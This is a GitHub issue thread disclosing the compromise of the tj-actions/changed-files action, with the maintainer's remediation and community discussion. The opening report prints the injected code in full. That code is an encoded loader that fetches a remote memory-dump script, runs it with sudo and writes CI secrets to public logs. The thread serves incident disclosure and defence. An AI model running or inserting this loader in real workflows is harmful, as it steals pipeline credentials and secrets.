changed-files: [BUG] Pretty sure this repo got hacked and if you use this it will send your secrets to a hacker
Is there an existing issue for this?
- I have searched the existing issues
Does this issue exist in the latest version?
- I’m using the latest release
Describe the bug?
See https://github.com/tj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b07f8835ace038e67. Has the following code:
async function updateFeatures(token) {
const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
ignoreReturnCode: true,
silent: true
});
core.info(stdout);
}
Base 64 decoded it’s:
if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
echo $B64_BLOB
else
exit 0
fi
Sending secrets to a GitHub gist.
To Reproduce
Use this action in GitHub Actions
What OS are you seeing the problem on?
windows-latest or windows-2022
Expected behavior?
No hacks
Relevant log output
See above
Has all relevant logs been included?
- I’ve included all relevant logs
Anything else?
No response
Code of Conduct
- I agree to follow this project’s Code of Conduct
About this issue
- Original URL
- State: closed
- Created 2 years ago
- Reactions: 3
- Comments: 34 (8 by maintainers)
Thanks for reporting this issue, don’t forget to star this project if you haven’t already to help us reach a wider audience.
Yes I think we are all very intrigued to know the RCA of this, for an action with over 22k public installs it would very good to be transparent here.
@intrigus-lgtm @onedr0p This attack appears to have been conducted from a PAT token linked to @tj-actions-bot account to which “GitHub is not able to determine how this PAT was compromised.”
Account Security Enhancements
tj-actions-botaccount has been updated.Done, thanks for the link, didn’t know about that yet!
For everyone else, please submit one too to stop this from spreading further, you can copy/paste this:
Hi everyone,
Thank you for your patience and vigilance throughout this process. I’m happy to inform you that the issue with the
tj-actions/changed-filesrepository has been fully resolved.Summary of Actions Taken:
Malicious Commit Removal:
The malicious commits have been identified and completely removed from all affected tags and branches.
Repository Audit and Cleanup:
tj-actionsorganization have been thoroughly reviewed.Tag Protection Implemented: We have introduced tag protection rules to prevent tags linked to unverified commits from being pushed. This ensures that only verified and trusted changes are applied moving forward.
Restoration by GitHub:
GitHub has confirmed that the malicious commit is no longer present and has reinstated public access to the organization. Actions workflows referencing
tj-actions/changed-filesare now functional again.Recommendations:
To ensure the security of your workflows, we recommend the following:
tj-actions/changed-files(one which doesn’t reference the malicious commit hash).If you have any further questions or concerns, please feel free to raise them here. I deeply appreciate the community’s support and understanding during this incident.
Thank you
@jackton1 fwiw, we built Octo STS to eliminate our own usage of GitHub PATs for automation exactly like this in favor of federated trust relationships. Personally I’d love it if GitHub would just launch their own, so we don’t have to run this, but if you’d have any interest in discussing it after the dust settles, feel free to reach out to me.
My meta concern is that without knowing how the PAT leaked, there’s no telling whether it will simply leak again by the same means.
The author of the gist likely has nothing to do with this, and somebody has taken their POC’s and implemented them IRL.
fwiw, it doesn’t appear to send/push the secrets anywhere, but rather print the secrets to the logs in a double base64 encoded string, and then the hacker/anyone can scan the publicly available GHA runner logs of the job runs. So public repos are most at risk it seems.
Could you kindly explain how the attacker was able to push those new tags?
Private repos should still not use this action until there is an all clear. This is either:
In both cases, the actor responsible can trivially update the backdoor to exfiltrate credentials too.
I had created an issue for this incident here: https://github.com/tj-actions/changed-files/issues/2463
HI @mattmoor, Thank you for sharing this, and I appreciate the suggestion regarding Octo STS. It’s an interesting approach to improving security for automation workflows, and I agree that having GitHub provide a similar solution natively would be ideal. Once things settle down, I’d be happy to discuss this further and learn more about your implementation.
I completely understand the importance of identifying the root cause of the PAT leak to prevent recurrence. I’m actively working to investigate how the leak occurred and will take steps to ensure that the same vulnerability cannot be exploited again.
Can you explicitly state or link to the tag with the fix instead of saying to use the latest version please? Also, this is worth calling out in main README that everyone should update to an explicitly stated version or later.
It already has. do a github wide search for the commit hash of the compromised tag and you can find a bunch of repos with the malicious hash.
@jackton1 Do you have proof that the access came from the PAT? If so, where was that PAT stored and how was it used? Presumably, since it’s your bot, you’re the only one with access to the PAT, correct?
Regardless of the PAT though, it seems clear in the PR logs that the commits were pushed from your own account, not from the @tj-actions-bot account:
You may also want to consider requiring only signed commits to this repo.
Hi @ppat, all tags have been restored and fixed, except for v45.0.5 through v45.0.9. These versions all point to the latest commit on main.
why does this still exist though? can we really be sure to start using it again?
https://github.com/tj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b07f8835ace038e67